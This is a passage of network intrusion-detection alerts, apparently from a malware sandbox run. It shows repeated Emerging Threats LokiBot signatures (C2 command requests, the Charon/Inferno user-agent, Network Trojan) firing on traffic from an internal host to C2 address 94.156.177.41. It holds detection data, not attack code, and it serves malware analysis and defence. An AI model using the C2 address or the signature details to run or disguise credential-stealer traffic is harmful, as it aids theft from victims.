2024-11-20T11:10:02.207700+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49269	TCP
2024-11-20T11:10:03.237104+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49270	TCP
2024-11-20T11:10:04.459383+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49271	TCP
2024-11-20T11:10:05.508922+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49272	TCP
2024-11-20T11:10:06.443859+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49273	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:19.578539+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:20.483471+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:21.399796+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:22.424479+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:23.353502+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:24.467559+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:25.379147+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:26.297901+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:27.189211+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:28.082947+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:29.023498+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:29.900412+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:30.800621+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:31.709835+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:32.666766+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:33.577251+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:34.478832+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:35.458425+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:36.517609+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:37.408604+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:38.490185+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:39.675088+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:40.550409+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:41.450674+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:42.331130+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:43.375730+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:44.416987+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:45.294525+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:46.174557+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:47.202696+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:48.276840+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:49.168632+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:50.089336+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:51.147665+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:52.239529+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:53.295076+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:54.189409+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:55.078799+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:56.212274+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:57.089307+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:57.994867+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:59.024610+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:09:00.048816+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:09:00.930538+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:01.830392+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:02.711590+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:03.597153+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:04.474795+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:05.407507+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:06.303457+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:07.233860+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:08.137816+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:09.364690+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:10.235026+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:11.115424+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:12.012535+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:12.941472+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:13.866235+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:14.783519+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:15.786102+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:16.810037+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:17.702031+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:19.526453+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:20.420637+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:21.314955+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:22.217616+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:23.254109+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:24.404461+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:26.308393+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:27.498635+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:28.601487+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:29.678802+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:30.598870+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:31.681516+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:32.557261+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:33.605446+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:34.675390+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:35.668171+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:36.753021+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:37.666072+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:38.569971+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:39.499696+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:40.469131+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:41.391468+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:42.303354+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:43.481518+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:44.496461+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:45.552873+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:46.836511+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:47.805329+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:48.830988+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:49.845370+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:50.739485+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:51.764421+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:52.644424+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:54.860925+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:56.162434+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:57.285140+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:58.170473+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:59.122658+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:10:00.411828+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:10:01.322717+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:02.202639+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:03.219949+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:04.454187+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:05.503902+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:06.403992+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49273	94.156.177.41	80	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:19.578539+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:20.483471+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:21.399796+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:22.424479+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:23.353502+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:24.467559+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:25.379147+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:26.297901+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:27.189211+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:28.082947+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:29.023498+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:29.900412+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:30.800621+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:31.709835+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:32.666766+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:33.577251+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:34.478832+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:35.458425+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:36.517609+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:37.408604+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:38.490185+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:39.675088+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:40.550409+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:41.450674+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:42.331130+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:43.375730+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:44.416987+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:45.294525+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:46.174557+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:47.202696+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:48.276840+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:49.168632+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:50.089336+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:51.147665+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:52.239529+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:53.295076+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:54.189409+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:55.078799+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:56.212274+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:57.089307+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:57.994867+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:59.024610+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:09:00.048816+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:09:00.930538+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:01.830392+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:02.711590+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:03.597153+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:04.474795+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:05.407507+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:06.303457+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:07.233860+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:08.137816+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:09.364690+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:10.235026+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:11.115424+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:12.012535+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:12.941472+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:13.866235+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:14.783519+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:15.786102+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:16.810037+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:17.702031+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:19.526453+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:20.420637+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:21.314955+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:22.217616+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:23.254109+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:24.404461+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:26.308393+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:27.498635+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:28.601487+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:29.678802+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:30.598870+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:31.681516+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:32.557261+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:33.605446+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:34.675390+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:35.668171+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:36.753021+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:37.666072+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:38.569971+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:39.499696+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:40.469131+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:41.391468+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:42.303354+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:43.481518+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:44.496461+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:45.552873+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:46.836511+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:47.805329+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:48.830988+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:49.845370+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:50.739485+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:51.764421+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:52.644424+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:54.860925+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:56.162434+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:57.285140+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:58.170473+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:59.122658+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:10:00.411828+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:10:01.322717+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:02.202639+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:03.219949+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:04.454187+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:05.503902+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:06.403992+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49273	94.156.177.41	80	TCP

ET MALWARE LokiBot User-Agent (Charon/Inferno)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:17.124071+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49165	94.156.177.41	80	TCP
2024-11-20T11:08:17.934139+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49166	94.156.177.41	80	TCP
2024-11-20T11:08:18.846126+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:19.737168+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:20.648933+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:21.561435+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:22.587777+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:23.789922+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:24.629607+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49173	94.156.177.41	80	TCP
